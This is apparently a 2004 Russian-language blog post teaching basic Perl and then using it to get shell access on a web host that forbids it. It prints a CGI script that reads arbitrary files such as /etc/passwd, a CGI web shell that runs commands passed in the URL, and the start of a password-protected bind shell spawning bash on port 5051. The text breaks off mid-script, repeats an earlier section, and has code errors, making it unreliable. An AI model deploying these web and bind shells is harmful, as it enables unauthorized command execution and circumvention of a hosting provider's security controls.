srg
01:21 25-01-2004 Как получить шелл на Юниксовом сервере
[изображение]

Существует огромное количество хостингов, которые, в целях безопасности или экономии ресурсов, не дают пользователям шелл-доступ, в большинстве случаев также на твою директорию ставится chroot (то есть ты не можешь подняться выше своего домашнего каталога), и это всегда очень бесит. Но эти самые хостинги чаще всего дают тебе свою личную cgi-bin папку, тем самым ставя свою безопасность под угрозу. В этой статье я расскажу тебе, как, используя наличие cgi-bin директории и знаний языка Perl, утереть нос этим засранцам и получить желаемый шелл и доступ к другим директориям.

Perl - язык обработки текстов, или Practical Extraction and Report Language, по стилю очень напоминает Си. Следовательно, если ты уже программировал на Си, тебе будет легче научиться Perl'у. Одной из основных особенностей языка Perl является то, что данные в нем не имеют типов. Программы, написанные на языке Perl, не могут быть откомпилированы, а выполняются через интерпретатор, который в данный момент доступен почти для всех платформ. Также хочется сказать несколько слов об авторе - Ларри Уолле (Larry Wall), который 10 лет бесплатно работал над созданием этого языка и в итоге выиграл премию журнала PCMagazine в 1998 году. А кто с ним соперничал? Продукт Microsoft, Visual Studio. Так что делай выводы.

Get started

Для начала то, с чего начинают учить все языки hello world, условия, циклы, массивы...

1) Тривиальное 'Hello world!' на языке perl будет выглядеть так:


#!/usr/bin/perl #Путь к интерпретатору. Набери 'whereis perl'

print "hello world!\n"; #вывод строки, \n означает новую строку

Запустить программу ты можешь, поставив на нее chmod 755 и набрав ./my.pl, где my.pl - имя программы. Или набрав perl -x my.pl, если у тебя нет шелла, то закинув программу на сервер в папку cgi-bin и поставив на нее chmod 755, набрать ее адрес в броузере. Например, http://www.satanium.ru/cgi-bin/my.pl

2) В Perl'e существуют несколько типов переменных:

Скаляры могут содержать цифры и текст, обозначаются $имя переменной. Например, $a = 1;

Массивы обозначаются @имя массива, он может использоваться целиком,

а может обращаться к какому-либо элементу через индекс.

Например: $evil[0]=1; присваиваем первому элементу массива значение 1, затем

выводим его на экран print "Первый элемент массива evil=$evil[0]\n";

3) Условия выглядят так же, как и в Си. Вот синтаксис их написания:

if(условия)

{действие1;}

elseif (условие)

{действие2;}

else

{действие3;}

Если первое условие выполняется, то производится действие 1, если второе условие выполняется, то производится действие 2, если же не выполняется ни одно из условий, то выполняется действие 3.

Вот пример:

if($i==666)

{print "666 rox da brain\n\a";}

elseif($i==13)

{print "ohhh satan will eat ur soul\n\a";}

else {print "Иди отсюда!\n\a\a\a\a";}

4) В языке Perl существует несколько типов циклов: for, while, foreach и until.

Синтаксис цикла for выглядит так:

For (начальные условия; условия окончания цикла; выполнения действия после каждого прохода)

{действие;}

Пример:

for($i=0;i<=9;$i++)

{print "Элемент массива #$i = $massive[$i]\n";}

В этом примере мы выводим первые 10 элементов массива.

Синтаксис цикла while выглядит так:

while ($evil<666) {

print "SATAN comming!!!\n";

$evil++;

}

Данное действие будет выполняться до тех пор, пока переменная $evil не станет больше 666.

Синтаксис цикла foreach выглядит так:

foreach $phone (@phonebook) {

print "$phone\n"

}

В переменную $phone по порядку передаются элементы из @phonebook. Данный цикл будет работать до тех пор, пока у массива @phonebook не кончатся элементы.

Синтаксис цикла until выглядит так:

Этот цикл - противоположность цикла while, то есть он выполняется, пока условие является правдой.

Пример:

until ($evil>666) {

print "SATAN comming!!!\n";

$evil++;

}

5) Полезные встроенные переменные.

Далее приведен список и описание встроенных переменных, которые будут нам полезны в написании программ:

@ARGV - массив аргументов, вводимых пользователем. Напомню, что в Perl'e $ARGV[0] - это не имя запущенной программы, как в Си, а именно первый аргумент.

$$ или $PID - содержит PID (Process IDentfication) идентификатор процесса.

$< или $UID - содержит UID (User IDentifcator) идентификатор пользователя, с которым запущен процесс.

$(или $GID - содержит GID (Group IDentificator) идентификатор группы, с которым запущен процесс.

Напомню, что CGI (Common Gateway Interface) - это интерфейс взаимодействия веб-сервера и твоей программы. Далее приведены переменные, полезные для написания веб-приложений.

$HTTP USER_AGENT - содержит информацию, передаваемую клиентом серверу, о версии web-броузера.

$REMOTE ADDR - содержит IP-адрес клиента, отправившего запрос к программе.

$REMOTE HOST - содержит хост клиента, отправившего запрос к программе.

$HTTP REFERER - откуда пришел клиент.

6)Полезные функции:

Далее я приведу список встроенных функций, которые будут полезны в нашем деле:

-bind socket,name

Назначает сетевой адрес сокету.

-chmod 0777 'file1','file2';

Изменяет права доступа к указанным файлам.

-chown

Изменяет владельца файла и группу.

-close

Закрытие файла или потока.

-connect сокет, имя

Связаться с удаленным сокетом.

-exec "программа" или system "программа"

Выполняет указанное приложение.

-setsockopt сокет, уровень, опция

Устанавливает параметры сокета.

-kill процесс

Убивает процесс.

-listen SOCKET, QUEUESIZE

Аналогично системному вызову listen().

-open файл

Открывает файл. Если перед именем стоит <, то файл открывается на чтение, а если стоит >, то на запись.

| - запуск

-rand

Возвращает случайное число.

-recv Сокет, Скаляр, Длина, Флаги

Берет сообщение из сокета.

-socket Сокет, Домен, Тип, Протокол

Открывает сокет.

-send SOCKET,MSG,GLAGS

Отсылает сообщение через сокет.

-read файл, скаляр, длина

Читает указанное число байт из файла в переменную.

-

Ожидает ввода с клавиатуры.

-legth

Возвращает длину строки.

-my список

Объявляет список локальных переменных.

-goto подпрограмма, метка и выражение

Переходит на указанную метку.

Юниксоид

Этот тот минимум функций, который я считаю важными для понимания ниже приведенных программ и языка вообще.

7) Подпрограммы следует определять в текущем либо во внешнем файле следующим образом:

sub name; или sub name (прототипы);

Вот собственно и все, но для лучшего понимания я напишу маленький пример:
#!/usr/bin/perl

$i=;

if($i==13) {&hell;} else {&happydude;}

sub hell {print "pop music mustdie\n";}

sub happydude {print "your lame\n\a";}

Получаем Шелл!

Все! Кратчайший курс программирования на Perl'e окончен и теперь переходим собственно к тому самому, что написано в начале, то есть получение шелл-доступа и всего остального, что нам не дают буржуи .

Итак, у нас есть cgi-bin папка и ftp доступ, и мы знаем, насколько могуч язык Perl . Теперь напишем пару программок, которые дадут нам доступ ко всему.

1) Программа, которая будет открывать нам файлы на сервере:


#!/usr/bin/perl

$file = $ARGV[0]; #определяем, что имя файла это первый аргумент

print "Content-type: text/html\n\n"; #лабуда

print "
"; #рисуем столик для красоты

open(bum,"<$file") || die "Файл не найден\n"; #открываем файл или орем, что его нет

while() #цикл чтения файла по строчкам

{

print; #печать строки файла

print "
"; #перевод на следующую строку
}

close(bum); #закрываем файло

print"

"; #закрываем столик

# конец программы


Я думаю, пояснений больше не надо, набираем http://www.my-home.ru/cgi-bin/file.pl?/etc/passwd и получаем листинг файла с паролями.

2) Программа, исполняющая команды:


#!/usr/bin/perl

$file = $ARGV[0]; # определяем, что имя файла это первый аргумент

print "Content-type: text/html\n\n"; #лабуда

print "

"; #рисуем столик для красоты

open(bum,"$file|") || die "Файл не найден\n"; #запускаем прогу или орем, что ее нет

while() #цикл чтения по строчкам

{

print; #печать строки файла

print "
"; #перевод на следующую строку

}

close(bum); #закрываем прогу

print"

"; #закрываем столик

# конец программы

Ты заметил, что изменилось только строка открытия? Но теперь эта программа запускает другие проги (команды) и выдает результат! Достаточно только набрать http://www.my-home.ru/cgi-bin/file.pl?ls, и она выдаст тебе список файлов в текущем каталоге.

3) Программа, открывающая шелл на определенном порте:


#!/usr/bin/perl

$SHELL="/bin/bash -i"; #шелл

$LISTEN PORT=5051; #порт

$PASSWORD="66613"; #пароль

require 5.002; #необходимая версия

use Socket; #использование модуля работы с сокетами

$protocol = getprotobyname('tcp'); #используемый протокол

socket(S, &PF INET, &SOCK STREAM, $protocol) || die "ошибка\n";

setsockopt(S, SOL SOCKET, SO REUSEADDR, 1);

bind (S, sockaddr in($LISTEN PORT, INADDR ANY)) || die "ошибка\n";

listen (S, 3) || die "не могу открыть порт\n";

while (1) {

YOP: accept (T666, S) || goto YOP;

if (! ($pid=fork)) {

goto BYE if (! defined $pid); #fork failed

open STDIN, "<&T666";

open STDOUT, ">&T666";

open STDERR, ">&T666";

if($PASSWORD) { # проверка правильности пароля

Юниксоид

Этот тот минимум функций, который я считаю важными для понимания ниже приведенных программ и языка вообще.

7) Подпрограммы следует определять в текущем либо во внешнем файле следующим образом:

sub name; или sub name (прототипы);

Вот собственно и все, но для лучшего понимания я напишу маленький пример:

#!/usr/bin/p

Current music: Timer - night with you (in mixed...)
Состояние: сонное